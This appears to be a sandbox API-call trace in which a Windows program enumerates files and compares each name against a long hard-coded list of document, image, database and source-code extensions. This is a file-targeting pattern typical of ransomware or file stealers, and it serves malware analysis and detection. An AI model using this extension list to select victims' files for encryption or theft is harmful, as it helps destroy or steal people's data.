	[0178.759] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0178.759] lstrlenW (lpString=".asm") returned 4
	[0178.759] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0178.759] lstrlenW (lpString=".asmx") returned 5
	[0178.759] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0178.759] lstrlenW (lpString=".asp") returned 4
	[0178.759] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0178.759] lstrlenW (lpString=".aspx") returned 5
	[0178.759] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0178.760] lstrlenW (lpString=".asr") returned 4
	[0178.760] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0178.760] lstrlenW (lpString=".asx") returned 4
	[0178.760] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0178.760] lstrlenW (lpString=".avi") returned 4
	[0178.760] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0178.760] lstrlenW (lpString=".avs") returned 4
	[0178.760] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0178.760] lstrlenW (lpString=".backup") returned 7
	[0178.760] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0178.760] lstrlenW (lpString=".bak") returned 4
	[0178.760] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0178.760] lstrlenW (lpString=".bay") returned 4
	[0178.760] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0178.760] lstrlenW (lpString=".bd") returned 3
	[0178.760] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0178.760] lstrlenW (lpString=".bin") returned 4
	[0178.760] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0178.760] lstrlenW (lpString=".bmp") returned 4
	[0178.760] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".bz2") returned 4
	[0178.761] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".c") returned 2
	[0178.761] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0178.761] lstrlenW (lpString=".cdr") returned 4
	[0178.761] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".cer") returned 4
	[0178.761] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".cf") returned 3
	[0178.761] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0178.761] lstrlenW (lpString=".cfc") returned 4
	[0178.761] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".cfm") returned 4
	[0178.761] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".cfml") returned 5
	[0178.761] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0178.761] lstrlenW (lpString=".cfu") returned 4
	[0178.761] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".chm") returned 4
	[0178.761] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".cin") returned 4
	[0178.761] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0178.761] lstrlenW (lpString=".class") returned 6
	[0178.761] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0178.761] lstrlenW (lpString=".clx") returned 4
	[0178.762] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".config") returned 7
	[0178.762] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0178.762] lstrlenW (lpString=".cpp") returned 4
	[0178.762] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".cr2") returned 4
	[0178.762] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".crt") returned 4
	[0178.762] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".crw") returned 4
	[0178.762] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".cs") returned 3
	[0178.762] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0178.762] lstrlenW (lpString=".css") returned 4
	[0178.762] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".csv") returned 4
	[0178.762] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".cub") returned 4
	[0178.762] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".dae") returned 4
	[0178.762] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".dat") returned 4
	[0178.762] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0178.762] lstrlenW (lpString=".db") returned 3
	[0178.762] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0178.763] lstrlenW (lpString=".dbf") returned 4
	[0178.763] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".dbx") returned 4
	[0178.763] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".dc3") returned 4
	[0178.763] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".dcm") returned 4
	[0178.763] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".dcr") returned 4
	[0178.763] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".der") returned 4
	[0178.763] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".dib") returned 4
	[0178.763] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".dic") returned 4
	[0178.763] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".dif") returned 4
	[0178.763] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".divx") returned 5
	[0178.763] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0178.763] lstrlenW (lpString=".djvu") returned 5
	[0178.763] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0178.763] lstrlenW (lpString=".dng") returned 4
	[0178.763] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0178.763] lstrlenW (lpString=".doc") returned 4
	[0178.764] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0178.764] lstrlenW (lpString=".docm") returned 5
	[0178.764] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0178.764] lstrlenW (lpString=".docx") returned 5
	[0178.764] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0178.764] lstrlenW (lpString=".dot") returned 4
	[0178.764] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0178.764] lstrlenW (lpString=".dotm") returned 5
	[0178.764] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0178.764] lstrlenW (lpString=".dotx") returned 5
	[0178.764] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0178.764] lstrlenW (lpString=".dpx") returned 4
	[0178.764] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0178.764] lstrlenW (lpString=".dqy") returned 4
	[0178.764] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0178.764] lstrlenW (lpString=".dsn") returned 4
	[0178.764] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0178.764] lstrlenW (lpString=".dt") returned 3
	[0178.764] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0178.764] lstrlenW (lpString=".dtd") returned 4
	[0178.764] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0178.764] lstrlenW (lpString=".dwg") returned 4
	[0178.764] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0178.764] lstrlenW (lpString=".dwt") returned 4
	[0178.764] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0178.765] lstrlenW (lpString=".dx") returned 3
	[0178.765] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0178.765] lstrlenW (lpString=".dxf") returned 4
	[0178.765] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0178.765] lstrlenW (lpString=".edml") returned 5
	[0178.765] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0178.765] lstrlenW (lpString=".efd") returned 4
	[0178.765] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0178.765] lstrlenW (lpString=".elf") returned 4
	[0178.765] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0178.765] lstrlenW (lpString=".emf") returned 4
	[0178.765] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0178.765] lstrlenW (lpString=".emz") returned 4
	[0178.765] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0178.765] lstrlenW (lpString=".epf") returned 4
	[0178.765] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0178.765] lstrlenW (lpString=".eps") returned 4
	[0178.765] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0178.765] lstrlenW (lpString=".epsf") returned 5
	[0178.765] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0178.765] lstrlenW (lpString=".epsp") returned 5
	[0178.765] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0178.766] lstrlenW (lpString=".erf") returned 4
	[0178.766] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".exr") returned 4
	[0178.766] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".f4v") returned 4
	[0178.766] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".fido") returned 5
	[0178.766] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0178.766] lstrlenW (lpString=".flm") returned 4
	[0178.766] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".flv") returned 4
	[0178.766] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".frm") returned 4
	[0178.766] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".fxg") returned 4
	[0178.766] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".geo") returned 4
	[0178.766] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".gif") returned 4
	[0178.766] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".grs") returned 4
	[0178.766] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0178.766] lstrlenW (lpString=".gz") returned 3
	[0178.766] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0178.767] lstrlenW (lpString=".h") returned 2
	[0178.767] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0178.767] lstrlenW (lpString=".hdr") returned 4
	[0178.767] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0178.767] lstrlenW (lpString=".hpp") returned 4
	[0178.767] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0178.767] lstrlenW (lpString=".hta") returned 4
	[0178.767] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0178.767] lstrlenW (lpString=".htc") returned 4
	[0178.767] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0178.767] lstrlenW (lpString=".htm") returned 4
	[0178.767] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0178.767] lstrlenW (lpString=".html") returned 5
	[0178.767] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0178.767] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x306, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0178.767] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0178.767] lstrlenW (lpString=".1cd") returned 4
	[0178.767] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0178.767] lstrlenW (lpString=".3ds") returned 4
	[0178.767] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0178.767] lstrlenW (lpString=".3fr") returned 4
	[0178.767] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0178.768] lstrlenW (lpString=".3g2") returned 4
	[0178.768] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0178.768] lstrlenW (lpString=".3gp") returned 4
	[0178.768] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0178.768] lstrlenW (lpString=".7z") returned 3
	[0178.768] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0178.768] lstrlenW (lpString=".accda") returned 6
	[0178.768] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0178.768] lstrlenW (lpString=".accdb") returned 6
	[0178.768] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0178.768] lstrlenW (lpString=".accdc") returned 6
	[0178.768] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0178.768] lstrlenW (lpString=".accde") returned 6
	[0178.768] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0178.768] lstrlenW (lpString=".accdt") returned 6
	[0178.768] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0178.768] lstrlenW (lpString=".accdw") returned 6
	[0178.768] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0178.768] lstrlenW (lpString=".adb") returned 4
	[0178.768] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0178.768] lstrlenW (lpString=".adp") returned 4
	[0178.769] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".ai") returned 3
	[0178.769] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0178.769] lstrlenW (lpString=".ai3") returned 4
	[0178.769] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".ai4") returned 4
	[0178.769] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".ai5") returned 4
	[0178.769] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".ai6") returned 4
	[0178.769] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".ai7") returned 4
	[0178.769] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".ai8") returned 4
	[0178.769] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".anim") returned 5
	[0178.769] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0178.769] lstrlenW (lpString=".arw") returned 4
	[0178.769] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".as") returned 3
	[0178.769] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0178.769] lstrlenW (lpString=".asa") returned 4
	[0178.769] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0178.769] lstrlenW (lpString=".asc") returned 4
	[0178.770] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0178.770] lstrlenW (lpString=".ascx") returned 5
	[0178.770] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0178.770] lstrlenW (lpString=".asm") returned 4
	[0178.770] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0178.770] lstrlenW (lpString=".asmx") returned 5
	[0178.770] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0178.770] lstrlenW (lpString=".asp") returned 4
	[0178.770] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0178.770] lstrlenW (lpString=".aspx") returned 5
	[0178.770] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0178.770] lstrlenW (lpString=".asr") returned 4
	[0178.770] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0178.770] lstrlenW (lpString=".asx") returned 4
	[0178.770] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0178.770] lstrlenW (lpString=".avi") returned 4
	[0178.770] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0178.770] lstrlenW (lpString=".avs") returned 4
	[0178.770] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0178.770] lstrlenW (lpString=".backup") returned 7
	[0178.771] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0178.771] lstrlenW (lpString=".bak") returned 4
	[0178.771] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0178.771] lstrlenW (lpString=".bay") returned 4
	[0178.771] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0178.771] lstrlenW (lpString=".bd") returned 3
	[0178.771] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0178.771] lstrlenW (lpString=".bin") returned 4
	[0178.771] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0178.771] lstrlenW (lpString=".bmp") returned 4
	[0178.771] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0178.771] lstrlenW (lpString=".bz2") returned 4
	[0178.771] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0178.771] lstrlenW (lpString=".c") returned 2
	[0178.771] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0178.771] lstrlenW (lpString=".cdr") returned 4
	[0178.771] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0178.771] lstrlenW (lpString=".cer") returned 4
	[0178.771] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0178.771] lstrlenW (lpString=".cf") returned 3
	[0178.771] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0178.771] lstrlenW (lpString=".cfc") returned 4
	[0178.771] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0178.771] lstrlenW (lpString=".cfm") returned 4
	[0178.771] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".cfml") returned 5
	[0178.772] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0178.772] lstrlenW (lpString=".cfu") returned 4
	[0178.772] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".chm") returned 4
	[0178.772] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".cin") returned 4
	[0178.772] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".class") returned 6
	[0178.772] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0178.772] lstrlenW (lpString=".clx") returned 4
	[0178.772] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".config") returned 7
	[0178.772] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0178.772] lstrlenW (lpString=".cpp") returned 4
	[0178.772] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".cr2") returned 4
	[0178.772] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".crt") returned 4
	[0178.772] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".crw") returned 4
	[0178.772] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0178.772] lstrlenW (lpString=".cs") returned 3
	[0178.772] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0178.773] lstrlenW (lpString=".css") returned 4
	[0178.773] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".csv") returned 4
	[0178.773] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".cub") returned 4
	[0178.773] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".dae") returned 4
	[0178.773] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".dat") returned 4
	[0178.773] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".db") returned 3
	[0178.773] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0178.773] lstrlenW (lpString=".dbf") returned 4
	[0178.773] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".dbx") returned 4
	[0178.773] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".dc3") returned 4
	[0178.773] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".dcm") returned 4
	[0178.773] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".dcr") returned 4
	[0178.773] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".der") returned 4
	[0178.773] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0178.773] lstrlenW (lpString=".dib") returned 4
	[0178.773] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0178.774] lstrlenW (lpString=".dic") returned 4
	[0178.774] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0178.774] lstrlenW (lpString=".dif") returned 4
	[0178.774] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0178.774] lstrlenW (lpString=".divx") returned 5
	[0178.774] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0178.774] lstrlenW (lpString=".djvu") returned 5
	[0178.774] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0178.774] lstrlenW (lpString=".dng") returned 4
	[0178.774] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0178.774] lstrlenW (lpString=".doc") returned 4
	[0178.774] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0178.774] lstrlenW (lpString=".docm") returned 5
	[0178.774] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0178.774] lstrlenW (lpString=".docx") returned 5
	[0178.774] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0178.774] lstrlenW (lpString=".dot") returned 4
	[0178.774] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0178.774] lstrlenW (lpString=".dotm") returned 5
	[0178.774] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0178.774] lstrlenW (lpString=".dotx") returned 5
	[0178.774] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0178.774] lstrlenW (lpString=".dpx") returned 4
	[0178.774] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".dqy") returned 4
	[0178.775] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".dsn") returned 4
	[0178.775] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".dt") returned 3
	[0178.775] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0178.775] lstrlenW (lpString=".dtd") returned 4
	[0178.775] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".dwg") returned 4
	[0178.775] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".dwt") returned 4
	[0178.775] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".dx") returned 3
	[0178.775] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0178.775] lstrlenW (lpString=".dxf") returned 4
	[0178.775] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".edml") returned 5
	[0178.775] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0178.775] lstrlenW (lpString=".efd") returned 4
	[0178.775] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".elf") returned 4
	[0178.775] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".emf") returned 4
	[0178.775] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0178.775] lstrlenW (lpString=".emz") returned 4
	[0178.775] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".epf") returned 4
	[0178.776] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".eps") returned 4
	[0178.776] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".epsf") returned 5
	[0178.776] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0178.776] lstrlenW (lpString=".epsp") returned 5
	[0178.776] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0178.776] lstrlenW (lpString=".erf") returned 4
	[0178.776] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".exr") returned 4
	[0178.776] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".f4v") returned 4
	[0178.776] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".fido") returned 5
	[0178.776] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0178.776] lstrlenW (lpString=".flm") returned 4
	[0178.776] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".flv") returned 4
	[0178.776] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".frm") returned 4
	[0178.776] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0178.776] lstrlenW (lpString=".fxg") returned 4
	[0178.776] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".geo") returned 4
	[0178.777] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".gif") returned 4
	[0178.777] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".grs") returned 4
	[0178.777] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".gz") returned 3
	[0178.777] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0178.777] lstrlenW (lpString=".h") returned 2
	[0178.777] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0178.777] lstrlenW (lpString=".hdr") returned 4
	[0178.777] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".hpp") returned 4
	[0178.777] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".hta") returned 4
	[0178.777] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".htc") returned 4
	[0178.777] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".htm") returned 4
	[0178.777] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".html") returned 5
	[0178.777] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1
	[0178.777] lstrlenW (lpString=".icb") returned 4
	[0178.777] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0178.777] lstrlenW (lpString=".ics") returned 4
	[0178.778] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0178.778] lstrlenW (lpString=".iff") returned 4
	[0178.778] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0178.778] lstrlenW (lpString=".inc") returned 4
	[0178.778] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0178.778] lstrlenW (lpString=".indd") returned 5
	[0178.778] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1
